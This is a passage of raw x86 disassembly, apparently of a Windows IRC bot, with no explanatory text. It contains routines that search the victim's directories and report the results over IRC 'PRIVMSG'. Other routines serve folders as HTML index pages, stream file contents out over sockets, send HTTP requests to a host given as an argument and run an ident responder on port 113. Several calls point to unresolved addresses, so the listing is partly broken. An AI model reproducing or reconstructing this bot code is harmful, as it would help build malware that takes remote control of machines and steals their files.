eax, [ebp+eax+var_8CC] cmp eax, 25h jnz short loc_414E79 mov eax, [ebp+var_108] movsx eax, [ebp+eax+var_8CB] loc_414E43: ; DATA XREF: .XComp0:00452D3Co ; .XComp0:0045312Co ... cmp eax, 32h jnz short loc_414E79 mov eax, [ebp+var_108] movsx eax, [ebp+eax+var_8CA] cmp eax, 30h jnz short loc_414E79 mov eax, [ebp+var_10C] mov [ebp+eax+var_414], 20h mov eax, [ebp+var_108] inc eax inc eax mov [ebp+var_108], eax jmp short loc_414EBF ; --------------------------------------------------------------------------- loc_414E79: ; CODE XREF: sub_414D5E+C2j ; sub_414D5E+D5j ... mov eax, [ebp+var_108] movsx eax, [ebp+eax+var_8CC] cmp eax, 2Fh jnz short loc_414E98 mov [ebp+var_8D4], 5Ch jmp short loc_414EAC ; --------------------------------------------------------------------------- loc_414E98: ; CODE XREF: sub_414D5E+12Cj mov eax, [ebp+var_108] movsx eax, [ebp+eax+var_8CC] mov [ebp+var_8D4], eax loc_414EAC: ; CODE XREF: sub_414D5E+138j mov eax, [ebp+var_10C] mov cl, byte ptr [ebp+var_8D4] mov [ebp+eax+var_414], cl loc_414EBF: ; CODE XREF: sub_414D5E+119j jmp loc_414DD6 ; --------------------------------------------------------------------------- loc_414EC4: ; CODE XREF: sub_414D5E+A5j lea eax, [ebp+var_414] push eax push [ebp+arg_4] push offset aSS_1 ; "%s%s" lea eax, [ebp+var_104] push eax call sub_4219C0 add esp, 10h push offset asc_44BB60 ; "\n" lea eax, [ebp+var_104] push eax call sub_4227D0 pop ecx pop ecx lea eax, [ebp+var_104] push eax nop call near ptr 27B01D1h mov [ebp+var_8D8], eax cmp [ebp+var_8D8], 10h jz short loc_414F1C cmp [ebp+var_8D8], 0FFFFFFFFh jz short loc_414F28 jmp short loc_414F38 ; --------------------------------------------------------------------------- loc_414F1C: ; CODE XREF: sub_414D5E+1B1j mov [ebp+var_7C8], 1 jmp short loc_414F38 ; --------------------------------------------------------------------------- loc_414F28: ; CODE XREF: sub_414D5E+1BAj push [ebp+arg_0] call dword_4E1798 ; closesocket xor eax, eax jmp loc_41511D ; --------------------------------------------------------------------------- loc_414F38: ; CODE XREF: sub_414D5E+1BCj ; sub_414D5E+1C8j mov eax, [ebp+var_10C] movsx eax, [ebp+eax+var_415] cmp eax, 5Ch jnz short loc_414F55 mov [ebp+var_7C8], 1 loc_414F55: ; CODE XREF: sub_414D5E+1EBj mov eax, [ebp+arg_0] mov [ebp+var_7C4], eax and dword ptr [ebp-418h], 0 cmp [ebp+var_7C8], 0 jz short loc_414FE3 cmp [ebp+arg_C], 0 jz short loc_414FD1 push offset asc_44BB64 ; "*" lea eax, [ebp+var_104] push eax call sub_422590 pop ecx pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_740] push eax call sub_4219C0 pop ecx pop ecx lea eax, [ebp+var_414] push eax call sub_415A17 pop ecx lea eax, [ebp+var_414] push eax lea eax, [ebp+var_63C] push eax call sub_4219C0 pop ecx pop ecx mov [ebp+var_41C], 1 or [ebp+var_430], 0FFFFFFFFh jmp short loc_414FE1 ; --------------------------------------------------------------------------- loc_414FD1: ; CODE XREF: sub_414D5E+214j push [ebp+arg_0] call dword_4E1798 ; closesocket xor eax, eax jmp loc_41511D ; --------------------------------------------------------------------------- loc_414FE1: ; CODE XREF: sub_414D5E+271j jmp short loc_41504A ; --------------------------------------------------------------------------- loc_414FE3: ; CODE XREF: sub_414D5E+20Ej push 0 push 0 push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_104] push eax call near ptr 2851454h nop mov [ebp+var_8D0], eax cmp [ebp+var_8D0], 0FFFFFFFFh jz short loc_41504A lea eax, [ebp+var_104] push eax lea eax, [ebp+var_740] push eax call sub_4219C0 pop ecx pop ecx and [ebp+var_41C], 0 push 0 push [ebp+var_8D0] nop call near ptr 285107Bh mov [ebp+var_430], eax push [ebp+var_8D0] nop call near ptr 27800D6h loc_41504A: ; CODE XREF: sub_414D5E:loc_414FE1j ; sub_414D5E+2AEj push [ebp+arg_10] push offset unk_44BB68 lea eax, [ebp+var_30C] push eax call sub_4219C0 add esp, 0Ch push 0 push 3 lea eax, [ebp+var_30C] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_42C], eax mov eax, [ebp+var_42C] imul eax, 234h mov ecx, [ebp+arg_10] mov dword_45461C[eax], ecx lea eax, [ebp+var_310] push eax push 0 lea eax, [ebp+var_7C4] push eax push offset sub_414B70 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_42C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_42C] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_4150EA loc_4150D5: ; CODE XREF: sub_414D5E+388j cmp dword ptr [ebp-418h], 0 jnz short loc_4150E8 push 5 nop call near ptr 27A0000h jmp short loc_4150D5 ; --------------------------------------------------------------------------- loc_4150E8: ; CODE XREF: sub_414D5E+37Ej jmp short loc_41511B ; --------------------------------------------------------------------------- loc_4150EA: ; CODE XREF: sub_414D5E+375j push [ebp+arg_0] call dword_4E1798 ; closesocket call near ptr 27A0A66h nop push eax push offset unk_44BB9C lea eax, [ebp+var_30C] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_30C] push eax call sub_4173DC pop ecx loc_41511B: ; CODE XREF: sub_414D5E:loc_4150E8j xor eax, eax loc_41511D: ; CODE XREF: sub_414D5E+1D5j ; sub_414D5E+27Ej pop esi leave retn sub_414D5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415120 proc near ; CODE XREF: sub_4021E5+50A6p ; sub_414B70+1C0p var_5B4 = dword ptr -5B4h var_5B0 = dword ptr -5B0h var_5AC = dword ptr -5ACh var_5A8 = byte ptr -5A8h var_5A0 = word ptr -5A0h var_59E = word ptr -59Eh var_59A = word ptr -59Ah var_598 = word ptr -598h var_596 = word ptr -596h var_590 = byte ptr -590h var_390 = dword ptr -390h var_37C = byte ptr -37Ch var_370 = dword ptr -370h var_364 = byte ptr -364h var_250 = byte ptr -250h var_228 = byte ptr -228h var_124 = byte ptr -124h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 5B4h and [ebp+var_1C], 0 and [ebp+var_18], 0 mov [ebp+var_8], 0E6h mov [ebp+var_C], 96h mov [ebp+var_10], 3Ch mov [ebp+var_4], 1Eh push 104h push 0 lea eax, [ebp+var_228] push eax call sub_421410 add esp, 0Ch push offset asc_44BBD4 ; "\n" push [ebp+arg_0] call sub_4227D0 pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_41519C push [ebp+arg_0] push [ebp+arg_8] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 14h jmp loc_4152B8 ; --------------------------------------------------------------------------- loc_41519C: ; CODE XREF: sub_415120+56j cmp [ebp+arg_C], 0 jz loc_41529C push [ebp+arg_0] call sub_41EBD0 pop ecx mov ecx, [ebp+arg_0] and byte ptr [ecx+eax-1], 0 push [ebp+arg_0] push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send push [ebp+arg_0] push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send push [ebp+arg_0] call sub_41EBD0 pop ecx mov ecx, [ebp+arg_0] mov byte ptr [ecx+eax], 2Ah push [ebp+var_10] push [ebp+var_C] loc_415245: ; DATA XREF: .XComp0:00452C08o ; .XComp0:00452C10o push [ebp+var_8] push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 18h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 0Ch jmp short loc_4152B8 ; --------------------------------------------------------------------------- loc_41529C: ; CODE XREF: sub_415120+80j push [ebp+arg_0] push offset aSearchingForS ; "Searching for: %s\r\n" push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h loc_4152B8: ; CODE XREF: sub_415120+77j ; sub_415120+17Aj push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send cmp [ebp+arg_C], 0 jz loc_41538D push [ebp+arg_C] call sub_41EBD0 pop ecx cmp eax, 2 jbe loc_41538D push [ebp+arg_C] call sub_41EBD0 pop ecx sub eax, 3 mov [ebp+var_5AC], eax jmp short loc_415315 ; --------------------------------------------------------------------------- loc_415308: ; CODE XREF: sub_415120:loc_415331j mov eax, [ebp+var_5AC] dec eax mov [ebp+var_5AC], eax loc_415315: ; CODE XREF: sub_415120+1E6j cmp [ebp+var_5AC], 0 jz short loc_415333 mov eax, [ebp+arg_C] add eax, [ebp+var_5AC] movsx eax, byte ptr [eax] cmp eax, 2Fh jnz short loc_415331 jmp short loc_415333 ; --------------------------------------------------------------------------- loc_415331: ; CODE XREF: sub_415120+20Dj jmp short loc_415308 ; --------------------------------------------------------------------------- loc_415333: ; CODE XREF: sub_415120+1FCj ; sub_415120+20Fj mov eax, [ebp+var_5AC] inc eax push eax push [ebp+arg_C] lea eax, [ebp+var_228] push eax loc_415345: ; DATA XREF: .XComp0:00452E70o ; .XComp0:004532C4o call sub_421470 add esp, 0Ch lea eax, [ebp+var_228] push eax loc_415354: ; DATA XREF: .XComp0:0045305Co ; .XComp0:00453104o ... push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send loc_41538D: ; CODE XREF: sub_415120+1BCj ; sub_415120+1CEj lea eax, [ebp+var_390] push eax push [ebp+arg_0] nop call near ptr 2890000h mov [ebp+var_14], eax loc_4153A0: ; CODE XREF: sub_415120:loc_41586Cj lea eax, [ebp+var_390] push eax push [ebp+var_14] nop call near ptr 2880000h test eax, eax jz loc_415871 cmp [ebp+var_390], 0 jz loc_41586C push offset a__ ; ".." lea eax, [ebp+var_364] push eax call sub_422740 pop ecx pop ecx test eax, eax jz loc_41586C push offset a__0 ; "." lea eax, [ebp+var_364] push eax call sub_422740 pop ecx pop ecx test eax, eax jz loc_41586C lea eax, [ebp+var_5A8] push eax lea eax, [ebp+var_37C] push eax nop call near ptr 2870000h lea eax, [ebp+var_5A0] push eax lea eax, [ebp+var_5A8] push eax call near ptr 286095Bh nop movzx eax, [ebp+var_598] cmp eax, 0Ch jle short loc_41543B mov [ebp+var_5B0], offset aPm_0 ; "PM" jmp short loc_415445 ; --------------------------------------------------------------------------- loc_41543B: ; CODE XREF: sub_415120+30Dj mov [ebp+var_5B0], offset aAm ; "AM" loc_415445: ; CODE XREF: sub_415120+319j movzx eax, [ebp+var_598] cmp eax, 0Ch jle short loc_415463 movzx eax, [ebp+var_598] sub eax, 0Ch mov [ebp+var_5B4], eax jmp short loc_415470 ; --------------------------------------------------------------------------- loc_415463: ; CODE XREF: sub_415120+32Fj movzx eax, [ebp+var_598] mov [ebp+var_5B4], eax loc_415470: ; CODE XREF: sub_415120+341j push [ebp+var_5B0] movzx eax, [ebp+var_596] push eax push [ebp+var_5B4] movzx eax, [ebp+var_5A0] push eax movzx eax, [ebp+var_59A] push eax movzx eax, [ebp+var_59E] push eax push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" lea eax, [ebp+var_250] push eax call sub_4219C0 add esp, 20h mov eax, [ebp+var_390] and eax, 10h test eax, eax jz loc_41568E mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax cmp [ebp+arg_8], 0 jz short loc_41551D lea eax, [ebp+var_364] push eax push offset aS_23 ; "<%s>" push 106h lea eax, [ebp+var_124] push eax call sub_421B90 add esp, 10h lea eax, [ebp+var_250] push eax lea eax, [ebp+var_124] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 18h jmp loc_415689 ; --------------------------------------------------------------------------- loc_41551D: ; CODE XREF: sub_415120+3ACj cmp [ebp+arg_C], 0 jz loc_415642 push [ebp+var_8] push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send lea eax, [ebp+var_364] push eax push [ebp+arg_C] push offset aSS_2 ; "%s%s/" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 14h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send lea eax, [ebp+var_364] push eax call sub_41EBD0 pop ecx cmp eax, [ebp+var_4] jbe short loc_4155DA lea eax, [ebp+var_364] push eax push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h jmp short loc_4155FA ; --------------------------------------------------------------------------- loc_4155DA: ; CODE XREF: sub_415120+496j lea eax, [ebp+var_364] push eax push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h loc_4155FA: ; CODE XREF: sub_415120+4B8j push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send push [ebp+var_10] lea eax, [ebp+var_250] push eax push [ebp+var_C] push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 18h jmp short loc_415689 ; --------------------------------------------------------------------------- loc_415642: ; CODE XREF: sub_415120+401j lea eax, [ebp+var_364] push eax push offset aS_24 ; "<%s>" push 106h lea eax, [ebp+var_124] push eax call sub_421B90 add esp, 10h lea eax, [ebp+var_250] push eax lea eax, [ebp+var_124] push eax push offset a31s21s ; "%-31s %-21s\r\n" push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 14h loc_415689: ; CODE XREF: sub_415120+3F8j ; sub_415120+520j jmp loc_41583B ; --------------------------------------------------------------------------- loc_41568E: ; CODE XREF: sub_415120+39Bj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax cmp [ebp+arg_8], 0 jz short loc_4156DC mov eax, [ebp+var_370] xor ecx, ecx push ecx push eax call sub_4196B4 pop ecx pop ecx push eax lea eax, [ebp+var_250] push eax lea eax, [ebp+var_364] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 1Ch jmp loc_41583B ; --------------------------------------------------------------------------- loc_4156DC: ; CODE XREF: sub_415120+579j cmp [ebp+arg_C], 0 jz loc_41580E push [ebp+var_8] push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send lea eax, [ebp+var_364] push eax push [ebp+arg_C] push offset aSS_3 ; "%s%s" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 14h push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send lea eax, [ebp+var_364] push eax call sub_41EBD0 pop ecx mov ecx, [ebp+var_4] inc ecx cmp eax, ecx jbe short loc_41579C lea eax, [ebp+var_364] push eax push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h jmp short loc_4157BC ; --------------------------------------------------------------------------- loc_41579C: ; CODE XREF: sub_415120+658j lea eax, [ebp+var_364] push eax push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 10h loc_4157BC: ; CODE XREF: sub_415120+67Aj push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send mov eax, [ebp+var_370] shr eax, 0Ah push eax push [ebp+var_10] lea eax, [ebp+var_250] push eax push [ebp+var_C] push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push 1FFh lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 1Ch jmp short loc_41583B ; --------------------------------------------------------------------------- loc_41580E: ; CODE XREF: sub_415120+5C0j push [ebp+var_370] lea eax, [ebp+var_250] push eax lea eax, [ebp+var_364] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push 200h lea eax, [ebp+var_590] push eax call sub_421B90 add esp, 18h loc_41583B: ; CODE XREF: sub_415120:loc_415689j ; sub_415120+5B7j ... push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send cmp [ebp+arg_8], 0 jz short loc_41586C push 7D0h nop call near ptr 27A0000h loc_41586C: ; CODE XREF: sub_415120+29Fj ; sub_415120+2BAj ... jmp loc_4153A0 ; --------------------------------------------------------------------------- loc_415871: ; CODE XREF: sub_415120+292j push [ebp+var_14] nop call near ptr 2860000h cmp [ebp+arg_8], 0 jz short loc_4158B5 mov eax, [ebp+var_18] cdq push edx push eax call sub_4196B4 pop ecx pop ecx push eax mov eax, [ebp+var_1C] cdq push edx push eax call sub_4196B4 pop ecx pop ecx push eax push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... lea eax, [ebp+var_590] push eax call sub_4219C0 add esp, 14h jmp short loc_4158EA ; --------------------------------------------------------------------------- loc_4158B5: ; CODE XREF: sub_415120+75Ej cmp [ebp+arg_C], 0 jz short loc_4158D0 push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_590] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_4158EA ; --------------------------------------------------------------------------- loc_4158D0: ; CODE XREF: sub_415120+799j push [ebp+var_18] push [ebp+var_1C] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" lea eax, [ebp+var_590] push eax call sub_4219C0 add esp, 10h loc_4158EA: ; CODE XREF: sub_415120+793j ; sub_415120+7AEj push 0 lea eax, [ebp+var_590] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_590] push eax push [ebp+arg_4] call dword_4E1750 ; send xor eax, eax leave retn sub_415120 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41590E proc near ; CODE XREF: sub_414B70+1A1p var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = byte ptr -410h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 418h mov [ebp+var_4], 400h and [ebp+var_414], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h push [ebp+arg_4] nop call near ptr 2851454h mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_41594B jmp locret_415A15 ; --------------------------------------------------------------------------- loc_41594B: ; CODE XREF: sub_41590E+36j push 0 push [ebp+var_8] nop call near ptr 285107Bh mov [ebp+var_C], eax loc_415959: ; CODE XREF: sub_41590E+F3j cmp [ebp+var_C], 0 jz loc_415A06 push 400h push 0 lea eax, [ebp+var_410] push eax call sub_421410 add esp, 0Ch mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jbe short loc_415987 mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_415987: ; CODE XREF: sub_41590E+71j xor eax, eax sub eax, [ebp+var_C] mov [ebp+var_10], eax push 2 push 0 push [ebp+var_10] push [ebp+var_8] nop call near ptr 2891214h push 0 lea eax, [ebp+var_414] push eax push [ebp+var_4] lea eax, [ebp+var_410] push eax push [ebp+var_8] nop call near ptr 28108CCh push 0 push [ebp+var_4] lea eax, [ebp+var_410] push eax push [ebp+arg_0] call dword_4E1750 ; send mov [ebp+var_418], eax cmp [ebp+var_418], 0FFFFFFFFh jnz short loc_4159F5 call dword_4E1694 ; WSAGetLastError cmp eax, 2733h jz short loc_4159EE jmp short loc_415A06 ; --------------------------------------------------------------------------- loc_4159EE: ; CODE XREF: sub_41590E+DCj and [ebp+var_418], 0 loc_4159F5: ; CODE XREF: sub_41590E+CFj mov eax, [ebp+var_C] sub eax, [ebp+var_418] mov [ebp+var_C], eax jmp loc_415959 ; --------------------------------------------------------------------------- loc_415A06: ; CODE XREF: sub_41590E+4Fj ; sub_41590E+DEj cmp [ebp+var_8], 0FFFFFFFFh jz short locret_415A15 push [ebp+var_8] nop call near ptr 27800D6h locret_415A15: ; CODE XREF: sub_41590E+38j ; sub_41590E+FCj leave retn sub_41590E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A17 proc near ; CODE XREF: sub_414D5E+245p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415A28 ; --------------------------------------------------------------------------- loc_415A21: ; CODE XREF: sub_415A17:loc_415A4Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415A28: ; CODE XREF: sub_415A17+8j push [ebp+arg_0] call sub_41EBD0 pop ecx cmp [ebp+var_4], eax jnb short loc_415A4F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_415A4D mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov byte ptr [eax], 2Fh loc_415A4D: ; CODE XREF: sub_415A17+2Bj jmp short loc_415A21 ; --------------------------------------------------------------------------- loc_415A4F: ; CODE XREF: sub_415A17+1Dj mov eax, [ebp+arg_0] leave retn sub_415A17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A54 proc near ; CODE XREF: sub_4021E5+8B54p var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = word ptr -4A0h var_49E = word ptr -49Eh var_49C = dword ptr -49Ch var_490 = byte ptr -490h var_290 = byte ptr -290h var_190 = byte ptr -190h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A8h lea eax, [ebp+var_190] push eax push 101h call dword_4E1670 ; WSAStartup push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_4A4], eax push 10h push 0 lea eax, [ebp+var_4A0] push eax call sub_421410 add esp, 0Ch mov [ebp+var_4A0], 2 push [ebp+arg_14] call dword_4E1700 ; ntohs mov [ebp+var_49E], ax push [ebp+arg_10] call sub_40C670 pop ecx mov [ebp+var_49C], eax push 10h lea eax, [ebp+var_4A0] push eax push [ebp+var_4A4] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jz loc_415B70 cmp [ebp+arg_20], 0 jz short loc_415AEB mov eax, [ebp+arg_20] mov [ebp+var_4A8], eax jmp short loc_415AF5 ; --------------------------------------------------------------------------- loc_415AEB: ; CODE XREF: sub_415A54+8Aj mov [ebp+var_4A8], offset dword_4E45A4 loc_415AF5: ; CODE XREF: sub_415A54+95j push [ebp+arg_10] push [ebp+var_4A8] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push 100h lea eax, [ebp+var_290] push eax call sub_421B90 add esp, 1Ch push 0 lea eax, [ebp+var_290] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_290] push eax push [ebp+var_4A4] call dword_4E1750 ; send push 100h push 0 lea eax, [ebp+var_290] push eax call sub_422B50 add esp, 0Ch push 0 push 100h lea eax, [ebp+var_290] push eax push [ebp+var_4A4] call dword_4E1718 ; recv loc_415B70: ; CODE XREF: sub_415A54+80j push [ebp+var_4A4] call dword_4E1798 ; closesocket call dword_4E1658 ; WSACleanup lea eax, [ebp+var_290] push eax lea eax, [ebp+var_490] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+arg_C], 0 jnz short locret_415BB7 push 0 push [ebp+arg_8] lea eax, [ebp+var_490] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h locret_415BB7: ; CODE XREF: sub_415A54+147j leave retn sub_415A54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BB9 proc near ; DATA XREF: sub_4016A7+536o ; sub_4021E5+5610o var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = word ptr -234h var_232 = word ptr -232h var_230 = dword ptr -230h var_224 = byte ptr -224h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h mov eax, [ebp+arg_0] mov [ebp+var_23C], eax and [ebp+var_238], 0 push 10h push 0 lea eax, [ebp+var_234] push eax call sub_421410 add esp, 0Ch mov [ebp+var_234], 2 push 71h call dword_4E1700 ; ntohs mov [ebp+var_232], ax and [ebp+var_230], 0 push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jz loc_415D64 mov eax, [ebp+var_23C] imul eax, 234h mov ecx, [ebp+var_14] mov dword_454624[eax], ecx push 10h lea eax, [ebp+var_234] push eax push [ebp+var_14] call dword_4E172C ; bind cmp eax, 0FFFFFFFFh jz loc_415D64 push 5 push [ebp+var_14] call dword_4E1728 ; listen cmp eax, 0FFFFFFFFh jz loc_415D64 mov [ebp+var_240], 10h loc_415C6B: ; CODE XREF: sub_415BB9:loc_415D5Fj push 1 pop eax test eax, eax jz loc_415D64 lea eax, [ebp+var_240] push eax lea eax, [ebp+var_24] push eax push [ebp+var_14] call dword_4E1794 ; accept mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_415C98 jmp loc_415D64 ; --------------------------------------------------------------------------- loc_415C98: ; CODE XREF: sub_415BB9+D8j movzx eax, [ebp+var_22] push eax push [ebp+var_20] call dword_4E178C ; inet_ntoa push eax push offset dword_44C0AC lea eax, [ebp+var_224] push eax call sub_4219C0 add esp, 10h lea eax, [ebp+var_224] push eax call sub_4173DC pop ecx push 0 push 200h lea eax, [ebp+var_224] push eax push [ebp+var_10] call dword_4E1718 ; recv cmp eax, 0FFFFFFFFh jz short loc_415D5F push 0 lea eax, [ebp+var_224] push eax call sub_41A280 pop ecx pop ecx push 0Ch push 0 lea eax, [ebp+var_C] push eax call sub_421410 add esp, 0Ch push 0 push 0 push 2 lea eax, [ebp+var_C] push eax call sub_40CE78 add esp, 10h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" push 200h lea eax, [ebp+var_224] push eax call sub_421B90 add esp, 10h push 0 lea eax, [ebp+var_224] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_224] push eax push [ebp+var_10] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jz short loc_415D5F mov [ebp+var_238], 1 loc_415D5F: ; CODE XREF: sub_415BB9+129j ; sub_415BB9+19Aj jmp loc_415C6B ; --------------------------------------------------------------------------- loc_415D64: ; CODE XREF: sub_415BB9+5Ej ; sub_415BB9+8Ej ... cmp [ebp+var_238], 0 jnz short loc_415D95 call dword_4E1694 ; WSAGetLastError push eax push offset dword_44C0F0 lea eax, [ebp+var_224] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_224] push eax call sub_4173DC pop ecx loc_415D95: ; CODE XREF: sub_415BB9+1B2j push [ebp+var_14] call dword_4E1798 ; closesocket push [ebp+var_10] call dword_4E1798 